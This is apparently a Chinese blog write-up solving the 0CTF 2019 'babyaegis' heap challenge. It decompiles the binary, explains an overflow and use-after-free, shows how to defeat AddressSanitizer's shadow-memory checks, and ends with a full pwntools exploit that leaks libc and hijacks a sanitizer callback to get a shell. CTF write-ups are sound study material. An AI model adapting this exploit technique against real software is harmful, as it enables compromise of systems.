20190ctf ageis

Analysis

checksec

franex@franex-virtual-machine:~/桌面/babyaegis$ checksec aegis
[*] '/home/franex/\xe6\xa1\x8c\xe9\x9d\xa2/babyaegis/aegis'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
    ASAN:     Enabled
    UBSAN:    Enabled

七个保护…我在网上查了一下
ASAN是指AddressSanitizer ,这是一款用于检测C/C++内存错误的工具。而UBSAN是指UndefinedBehaviorSanitizer , 这是一款用于检测未定义行为的检测器,比如使用没对齐的或者为空的指针什么的。
会检测以下的行为

检测以下行为
Use after free (dangling pointer dereference)
Heap buffer overflow
Stack buffer overflow
Global buffer overflow
Use after return
Use after scope
Initialization order bugs
Memory leaks

addresssainter的原理

然后放到ida里面看一下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  const char *v4; // rdi
  int v5; // eax
  __int64 v6; // rdx

  if ( *(_BYTE *)(((unsigned __int64)&stdin >> 3) + 0x7FFF8000) )
    _asan_report_load8(&stdin, argv, envp);
  setvbuf(stdin, 0LL, 2, 0LL);
  if ( *(_BYTE *)(((unsigned __int64)&stdout >> 3) + 0x7FFF8000) )
    _asan_report_load8(&stdout, 0LL, v3);
  setvbuf(stdout, 0LL, 2, 0LL);
  v4 = dword_78;
  alarm(0x78u);
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      v5 = menu();
      if ( v5 != 1 )
        break;
      add_note(v4, 0LL, v6, 0LL);
    }
    switch ( v5 )
    {
      case 2:
        show_note(v4, 0LL, v6, 0LL);
        break;
      case 3:
        update_note(v4, 0LL, v6, 0LL);
        break;
      case 4:
        delete_note(v4, 0LL, v6, 0LL);
        break;
      case 5:
        puts("Bye!");
        _asan_handle_no_return();
        exit(0);
      case 666:
        secret(v4, 0LL, v6, 661LL);
        break;
      default:
        v4 = "Error!";
        puts("Error!");
        break;
    }
  }
}

查看各个函数
ADD:

unsigned __int64 __fastcall add_note(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
  unsigned __int64 v6; // rdi
  int v7; // edx
  int v8; // ecx
  int v9; // er8
  int v10; // er9
  __int64 v11; // rsi
  int v12; // edx
  int v13; // ecx
  int v14; // er8
  int v15; // er9
  __int64 ul; // rax
  unsigned __int64 v17; // rdi
  __int64 v18; // rax
  __int64 v19; // rdx
  unsigned __int64 v20; // rdi
  unsigned __int64 v21; // rcx
  __int64 v22; // rcx
  unsigned __int64 v23; // rdi
  __int64 *v24; // rax
  unsigned __int64 v25; // rdx
  unsigned __int64 v26; // rdi
  unsigned __int64 v27; // rdi
  __int64 v29; // [rsp+8h] [rbp-28h]
  int until_nl_or_max; // [rsp+18h] [rbp-18h]
  int v31; // [rsp+1Ch] [rbp-14h]
  int v32; // [rsp+20h] [rbp-10h]
  int i; // [rsp+24h] [rbp-Ch]

  v32 = -1;
  for ( i = 0; i < 10; ++i )
  {
    v6 = (unsigned __int64)&notes + 8 * i;
    if ( *(_BYTE *)((v6 >> 3) + 0x7FFF8000) )
      _asan_report_load8(v6, a2, a3);
    if ( !*(_QWORD *)v6 )
    {
      v32 = i;
      break;
    }
  }
  if ( v32 == -1 )
    error();
  printf((unsigned int)"Size: ", a2, a3, a4, a5, a6);
  v31 = read_int();
  if ( v31 < 16 || v31 > 1024 )
    error();
  v29 = malloc((__asan *)v31);
  if ( !v29 )
    error();
  printf((unsigned int)"Content: ", a2, v7, v8, v9, v10);
  v11 = v31 - 8;
  until_nl_or_max = read_until_nl_or_max(v29, v11);
  printf((unsigned int)"ID: ", v11, v12, v13, v14, v15);
  ul = read_ul();
  v17 = until_nl_or_max + v29;
  if ( *(_BYTE *)((v17 >> 3) + 0x7FFF8000) )
    ul = _asan_report_store8(v17);
  *(_QWORD *)v17 = ul;
  v18 = malloc((__asan *)&word_10);
  v20 = (unsigned __int64)&notes + 8 * v32;
  if ( *(_BYTE *)((v20 >> 3) + 0x7FFF8000) )
    v18 = _asan_report_store8(v20);
  *(_QWORD *)v20 = v18;
  v21 = (unsigned __int64)&notes + 8 * v32;
  if ( *(_BYTE *)((v21 >> 3) + 0x7FFF8000) )
    _asan_report_load8((char *)&notes + 8 * v32, v11, v19);
  if ( !*(_QWORD *)v21 )
    error();
  v22 = v29;
  v23 = (unsigned __int64)&notes + 8 * v32;
  if ( *(_BYTE *)((v23 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v23, v11, v19);
  v24 = *(__int64 **)v23;
  v25 = *(_QWORD *)v23 >> 3;
  if ( *(_BYTE *)(v25 + 0x7FFF8000) )
    v24 = (__int64 *)_asan_report_store8((unsigned __int64)v24);
  *v24 = v22;
  v26 = (unsigned __int64)&notes + 8 * v32;
  if ( *(_BYTE *)((v26 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v26, v11, v25);
  v27 = *(_QWORD *)v26 + 8LL;
  if ( *(_BYTE *)((v27 >> 3) + 0x7FFF8000) )
    _asan_report_store8(v27);
  *(_QWORD *)v27 = cfi_check;
  puts("Add success!");
  return __readfsqword(0x28u);
}

只能分配十个note,每个note在0x10到0x400之间
然后在分配的buf下面,有一个指针指向check函数
打印出来

unsigned __int64 __fastcall show_note(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  unsigned __int64 v6; // rdi
  unsigned __int64 v7; // rdi
  __int64 v8; // r14
  __int64 v9; // rbx
  int v10; // ecx
  unsigned __int64 v11; // rbx
  int v12; // er8
  int v13; // er9
  unsigned __int64 v15; // [rsp+8h] [rbp-28h]
  int v16; // [rsp+10h] [rbp-20h]

  printf((unsigned int)"Index: ", a2, a3, a4, a5, a6);
  v16 = read_int();
  if ( v16 < 0 || v16 >= 10 )
    goto LABEL_6;
  v6 = (unsigned __int64)&notes + 8 * v16;
  if ( *(_BYTE *)((v6 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v6);
  if ( !*(_QWORD *)v6 )
LABEL_6:
    error();
  v7 = (unsigned __int64)&notes + 8 * v16;
  if ( *(_BYTE *)((v7 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v7);
  v15 = *(_QWORD *)v7;
  if ( *(_BYTE *)((*(_QWORD *)v7 >> 3) + 0x7FFF8000LL) )
    _asan_report_load8(v15);
  v8 = *(_QWORD *)v15;
  if ( *(_BYTE *)((v15 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v15);
  v9 = *(_QWORD *)v15;
  if ( *(_BYTE *)((v15 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v15);
  v11 = strlen(*(_QWORD *)v15) + v9 + 1;
  if ( *(_BYTE *)((v11 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v11);
  printf((unsigned int)"Content: %s\nID: %lu\n", v8, *(_QWORD *)v11, v10, v12, v13);
  return __readfsqword(0x28u);
}

根据输入的id,打印note

unsigned __int64 __fastcall delete_note(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  unsigned __int64 v6; // rdi
  unsigned __int64 v7; // rdi
  unsigned __int64 v8; // rdi
  unsigned __int64 v9; // rdi
  int v11; // [rsp+14h] [rbp-Ch]

  printf((unsigned int)"Index: ", a2, a3, a4, a5, a6);
  v11 = read_int();
  if ( v11 < 0 || v11 >= 10 )
    goto LABEL_6;
  v6 = (unsigned __int64)&notes + 8 * v11;
  if ( *(_BYTE *)((v6 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v6);
  if ( !*(_QWORD *)v6 )
LABEL_6:
    error();
  v7 = (unsigned __int64)&notes + 8 * v11;
  if ( *(_BYTE *)((v7 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v7);
  v8 = *(_QWORD *)v7;
  if ( *(_BYTE *)((v8 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v8);
  free(*(__sanitizer **)v8);
  v9 = (unsigned __int64)&notes + 8 * v11;
  if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v9);
  free(*(__sanitizer **)v9);
  puts("Delete success!");
  return __readfsqword(0x28u);
}

UAF,因为free没有置空,但是这里可以看到开启了asan,比较难以利用
看一下update_note

unsigned __int64 __fastcall update_note(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // er8
  int v8; // er9
  unsigned __int64 v9; // rdi
  unsigned __int64 v10; // rdi
  __int64 v11; // rbx
  unsigned __int64 v12; // rsi
  int v13; // edx
  int v14; // ecx
  int v15; // er8
  int v16; // er9
  __int64 ul; // rax
  unsigned __int64 v18; // rdi
  __int64 (__fastcall **v19)(); // rdi
  __int64 (__fastcall *v20)(); // rbx
  unsigned __int64 v22; // [rsp+8h] [rbp-28h]
  int until_nl_or_max; // [rsp+18h] [rbp-18h]
  int v24; // [rsp+1Ch] [rbp-14h]

  printf((unsigned int)"Index: ", a2, a3, a4, a5, a6);
  v24 = read_int();
  if ( v24 < 0 || v24 >= 10 )
    goto LABEL_6;
  v9 = (unsigned __int64)&notes + 8 * v24;
  if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v9);
  if ( !*(_QWORD *)v9 )
LABEL_6:
    error();
  v10 = (unsigned __int64)&notes + 8 * v24;
  if ( *(_BYTE *)((v10 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v10);
  v22 = *(_QWORD *)v10;
  printf((unsigned int)"New Content: ", a2, v6, *(_QWORD *)v10, v7, v8);
  if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v22);
  v11 = *(_QWORD *)v22;
  if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v22);
  v12 = strlen(*(_QWORD *)v22) + 1; //overflow
  until_nl_or_max = read_until_nl_or_max(v11, v12);
  printf((unsigned int)"New ID: ", v12, v13, v14, v15, v16);
  ul = read_ul();
  if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
    ul = _asan_report_load8(v22);
  v18 = until_nl_or_max + *(_QWORD *)v22;
  if ( *(_BYTE *)((v18 >> 3) + 0x7FFF8000) )
    ul = _asan_report_store8(v18);
  *(_QWORD *)v18 = ul;
  v19 = (__int64 (__fastcall **)())(v22 + 8);
  if ( *(_BYTE *)(((v22 + 8) >> 3) + 0x7FFF8000) )
    _asan_report_load8((unsigned __int64)v19);
  v20 = *v19;
  if ( *v19 != cfi_check )
  {
    _asan_handle_no_return();
    _ubsan_handle_cfi_check_fail_abort(&unk_34B100, v20);
  }
  ((void (__fastcall *)(_QWORD))v20)((unsigned int)v24);
  puts("Update success!");
  if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v22);
  if ( *(_QWORD *)v22 >> 44 != 6LL )
    error();
  return __readfsqword(0x28u);
}

出错在里面的read_until_nl_or_max函数,因为它在代码里面是根据输入的内容逐字节读入,返回的是读入字符+1,如果直接输入最大的content话,存储的content就会溢出到ID,然后strlen(*v16) + 1的值就会比content大。 但是因为asan的check机制,会报错并且退出
然后发现一个secret函数

unsigned __int64 __fastcall secret(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  _BYTE *v6; // rax
  unsigned __int64 ul; // [rsp+0h] [rbp-10h]

  if ( secret_enable )
  {
    printf((unsigned int)"Lucky Number: ", a2, a3, a4, a5, a6);
    ul = read_ul();
    if ( ul >> 44 )
      v6 = (_BYTE *)(ul | 0x700000000000LL);
    else
      v6 = (_BYTE *)ul;
    *v6 = 0;
    secret_enable = 0;
  }
  else
  {
    puts("No secret!");
  }
  return __readfsqword(0x28u);
}

如果输入的数字右移44位后大于0,就会和0x700000000000或运算,在一个地址(v6)处写入0,然后这个函数不能用了
然后通过vmmap,其中,heap下第一个拥有rw-p的就是heap,在 0x602000000000

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        0x7fff7000         0x8fff7000 rw-p 10000000 0      anon_7fff7
        0x8fff7000      0x2008fff7000 ---p 20000000000 0      anon_8fff7
     0x2008fff7000     0x10007fff8000 rw-p dfff0001000 0      anon_2008fff7
    0x555555554000     0x55555569b000 r-xp   147000 0      /home/franex/桌面/babyaegis/aegis
    0x55555589b000     0x55555589c000 r--p     1000 147000 /home/franex/桌面/babyaegis/aegis
    0x55555589c000     0x5555558a0000 rw-p     4000 148000 /home/franex/桌面/babyaegis/aegis
    0x5555558a0000     0x555556505000 rw-p   c65000 0      [heap]
    0x600000000000     0x602000000000 ---p 2000000000 0      anon_600000000
    0x602000000000     0x602000010000 rw-p    10000 0      anon_602000000
    0x602000010000     0x602e00000000 ---p dffff0000 0      anon_602000010
    0x602e00000000     0x602e00010000 rw-p    10000 0      anon_602e00000
    0x602e00010000     0x607000000000 ---p 41ffff0000 0      anon_602e00010
    0x607000000000     0x607000010000 rw-p    10000 0      anon_607000000
    0x607000010000     0x607e00000000 ---p dffff0000 0      anon_607000010
    0x607e00000000     0x607e00010000 rw-p    10000 0      anon_607e00000
    0x607e00010000     0x60b000000000 ---p 31ffff0000 0      anon_607e00010
    0x60b000000000     0x60b000010000 rw-p    10000 0      anon_60b000000
    0x60b000010000     0x60be00000000 ---p dffff0000 0      anon_60b000010
    0x60be00000000     0x60be00010000 rw-p    10000 0      anon_60be00000
    0x60be00010000     0x624000000000 ---p 181ffff0000 0      anon_60be00010
    0x624000000000     0x624000010000 rw-p    10000 0      anon_624000000
    0x624000010000     0x624e00000000 ---p dffff0000 0      anon_624000010
    0x624e00000000     0x624e00010000 rw-p    10000 0      anon_624e00000
    0x624e00010000     0x640000000000 ---p 1b1ffff0000 0      anon_624e00010
    0x640000000000     0x640000003000 rw-p     3000 0      anon_640000000
    0x7ffff4300000     0x7ffff4400000 rw-p   100000 0      anon_7ffff4300
    0x7ffff4500000     0x7ffff4600000 rw-p   100000 0      anon_7ffff4500
    0x7ffff4700000     0x7ffff4800000 rw-p   100000 0      anon_7ffff4700
    0x7ffff4900000     0x7ffff4a00000 rw-p   100000 0      anon_7ffff4900
    0x7ffff4aaf000     0x7ffff6e01000 rw-p  2352000 0      anon_7ffff4aaf
    0x7ffff6e01000     0x7ffff6fe8000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff6fe8000     0x7ffff71e8000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff71e8000     0x7ffff71ec000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff71ec000     0x7ffff71ee000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff71ee000     0x7ffff71f2000 rw-p     4000 0      anon_7ffff71ee
    0x7ffff71f2000     0x7ffff7209000 r-xp    17000 0      /lib/x86_64-linux-gnu/libgcc_s.so.1
    0x7ffff7209000     0x7ffff7408000 ---p   1ff000 17000  /lib/x86_64-linux-gnu/libgcc_s.so.1
    0x7ffff7408000     0x7ffff7409000 r--p     1000 16000  /lib/x86_64-linux-gnu/libgcc_s.so.1
    0x7ffff7409000     0x7ffff740a000 rw-p     1000 17000  /lib/x86_64-linux-gnu/libgcc_s.so.1
    0x7ffff740a000     0x7ffff740d000 r-xp     3000 0      /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7ffff740d000     0x7ffff760c000 ---p   1ff000 3000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7ffff760c000     0x7ffff760d000 r--p     1000 2000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7ffff760d000     0x7ffff760e000 rw-p     1000 3000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7ffff760e000     0x7ffff77ab000 r-xp   19d000 0      /lib/x86_64-linux-gnu/libm-2.27.so
    0x7ffff77ab000     0x7ffff79aa000 ---p   1ff000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so
    0x7ffff79aa000     0x7ffff79ab000 r--p     1000 19c000 /lib/x86_64-linux-gnu/libm-2.27.so
    0x7ffff79ab000     0x7ffff79ac000 rw-p     1000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so
    0x7ffff79ac000     0x7ffff79b3000 r-xp     7000 0      /lib/x86_64-linux-gnu/librt-2.27.so
    0x7ffff79b3000     0x7ffff7bb2000 ---p   1ff000 7000   /lib/x86_64-linux-gnu/librt-2.27.so
    0x7ffff7bb2000     0x7ffff7bb3000 r--p     1000 6000   /lib/x86_64-linux-gnu/librt-2.27.so
    0x7ffff7bb3000     0x7ffff7bb4000 rw-p     1000 7000   /lib/x86_64-linux-gnu/librt-2.27.so
    0x7ffff7bb4000     0x7ffff7bce000 r-xp    1a000 0      /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7ffff7bce000     0x7ffff7dcd000 ---p   1ff000 1a000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7ffff7dcd000     0x7ffff7dce000 r--p     1000 19000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7ffff7dce000     0x7ffff7dcf000 rw-p     1000 1a000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0      anon_7ffff7dcf
    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7e91000     0x7ffff7fe0000 rw-p   14f000 0      anon_7ffff7e91
    0x7ffff7fe0000     0x7ffff7ff8000 rw-p    18000 0      anon_7ffff7fe0
    0x7ffff7ff8000     0x7ffff7ffb000 r--p     3000 0      [vvar]
    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      anon_7ffff7ffe
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]

pwndbg> x/10gx 0x602000000000
0x602000000000:	0x02ffffff00000002	0x3c00000120000010
0x602000000010:	0x0000000000333231	0xbebebebe00000000
0x602000000020:	0x02ffffff00000002	0x7680000120000010
0x602000000030:	0x0000602000000010	0x0000555555668ab0
0x602000000040:	0x0000000000000000	0x0000000000000000

然后使用对应的算法0x6020000>>3+0x7FFF8000得到影子内存

pwndbg> x/10gx 0x602000000000>>3
0xc0400000000:	0x0000000000000000	0x0000000000000000
0xc0400000010:	0x0000000000000000	0x0000000000000000
0xc0400000020:	0x0000000000000000	0x0000000000000000
0xc0400000030:	0x0000000000000000	0x0000000000000000
0xc0400000040:	0x0000000000000000	0x0000000000000000
pwndbg> x/10gx 0xc0400000000+0x7FFF8000
0xc047fff8000:	0x0000fafa0000fafa	0xfafafafafafafafa
0xc047fff8010:	0xfafafafafafafafa	0xfafafafafafafafa
0xc047fff8020:	0xfafafafafafafafa	0xfafafafafafafafa
0xc047fff8030:	0xfafafafafafafafa	0xfafafafafafafafa
0xc047fff8040:	0xfafafafafafafafa	0xfafafafafafafafa

free了过后

pwndbg>  x/10gx 0xc0400000000+0x7FFF8000
0xc047fff8000:	0xfdfdfafafdfdfafa	0xfafafafafafafafa
0xc047fff8010:	0xfafafafafafafafa	0xfafafafafafafafa
0xc047fff8020:	0xfafafafafafafafa	0xfafafafafafafafa
0xc047fff8030:	0xfafafafafafafafa	0xfafafafafafafafa
0xc047fff8040:	0xfafafafafafafafa	0xfafafafafafafafa

可以看到,中间置fd了,表示free heap region

利用思路

这里有content的chunk和pointer的chunk,如果把pointer的chunk置为0,那溢出的时候就不会报错了
这样得话,改写redzone剩下的改一下地址就行了
查看一下asan的chunk结构

struct ChunkHeader {
  // 1-st 8 bytes.
  u32 chunk_state       : 8;  // Must be first.
  u32 alloc_tid         : 24;
  u32 free_tid          : 24;
  u32 from_memalign     : 1;
  u32 alloc_type        : 2;
  u32 rz_log            : 3;
  u32 lsan_tag          : 2;
  // 2-nd 8 bytes
  // This field is used for small sizes. For large sizes it is equal to
  // SizeClassMap::kMaxSize and the actual size is stored in the
  // SecondaryAllocator's metadata.
  u32 user_requested_size : 29;
  // align < 8 -> 0
  // else      -> log2(min(align, 512)) - 2
  u32 user_requested_alignment_log : 3;
  u32 alloc_context_id;
};

ChunkHeader前8bit存了chunk_state ,后24bit存了 alloc_tid ,以此类推。可以发现ChunkHeader中存有

user_requested_size字段,尝试修改这个字段,可以发现如果将这修改为一个很大的值的话,释放掉chunk就会使 shadow memory 回到初始状态,具体的机制我没看源码了解的就不是很多,看别人的writeup说是内存过大,触发了asan的回收机制。
这时再新建一个note,会发现新分配的note和之前分配的note重叠,并且顺序是相反的。所以我们可以控制note中的内存指针,从而实现任意读写,利用这个先泄露出code_base, 然后泄露got表内容获取libc地址。

getshell

改写call_back为one_gadget
这里通过覆盖bss段上的_ZN11__sanitizerL15UserDieCallbackE为one_gadget,然后造成内存错误时就会被执行。这能成功的原因是UserDieCallback函数会调用在 bss段上的_ZN11__sanitizerL15UserDieCallbackE所指的函数。

 _asan_handle_no_return(v17, v10, v12, v16, v13, v14);
_ubsan_handle_cfi_check_fail_abort(&unk_34B100, v18, v19, v20, v21, v22);
 if ( __sanitizer::UserDieCallback )
    __sanitizer::UserDieCallback(this);
  v2 = &__sanitizer::InternalDieCallbacks;

__sanitizer::UserDieCallback(this)会去调用bss段上的_ZN11__sanitizerL15UserDieCallbackE,所以只要将_ZN11__sanitizerL15UserDieCallbackE覆盖为one_gadget,当crash的时候就能够getshell了

from pwn import*
context.log_level = "debug"
host = '111.186.63.209'
port = 6666
#p = process('./aegis')
p = remote(host,port)
elf = ELF('./aegis')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,size,content):
    p.sendlineafter("Choice: ",'1')
    p.sendlineafter(":",str(size))
    p.sendafter(":",content)
    p.sendlineafter(":",str(idx))
def show(idx):
    p.sendlineafter(":",'2')
    p.sendlineafter(":",str(idx))
def update(idx,content,new_idx):
    p.sendlineafter(":",'3')
    p.sendlineafter(": ",str(idx))
    p.sendafter(":",content)
    p.sendlineafter(":",str(new_idx))
def delete(idx):
    p.sendlineafter(":",'4')
    p.sendlineafter(":",str(idx))
def secret(add):
    p.sendlineafter(":",'666')
    p.sendlineafter(":",str(add))
def get_base():
    text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[4], 16)
    print hex(text_base)
    return text_base
#note_add = get_base() + 0xFB0CC0
#d = 0x113954 +get_base() 
#gdb.attach(p,'b *{}'.format(hex(d)))
#success(hex(note_add))
add(0x123456789abcdef,0x10,'a'*0x8)
secret(str(0xc047fff8004))
update(0,'a'*0x12,0x123456789)
update(0,'a'*0x10 + p64(0x02ffffff00000002)[:7] ,0x01f000000002ff)
delete(0)
add(0,0x10,p64(0x602000000018))
show(0)
p.recvuntil("Content: ")
leak_code = u64(p.recv(6).ljust(8,'\x00'))
code_base = leak_code - 0x114ab0
success(hex(code_base))
puts_got = elf.got['puts']
update(1,p64(code_base + puts_got)[:2],(code_base+puts_got)>>8) #leak libc
show(0)
p.recvuntil("Content: ")
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
libc.address = libc_base
success(hex(libc_base))
one_gadget = libc_base+0x10a38c
call_back = code_base + 0xFB0888
update(1,p64(call_back)[:7],0) # overwrite cfg ==> null ,trigger memory error
pause()
update(0,' '*8,one_gadget)  #overwrite call_back ==> one_gadget
p.interactive("zs0zrc>>")
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值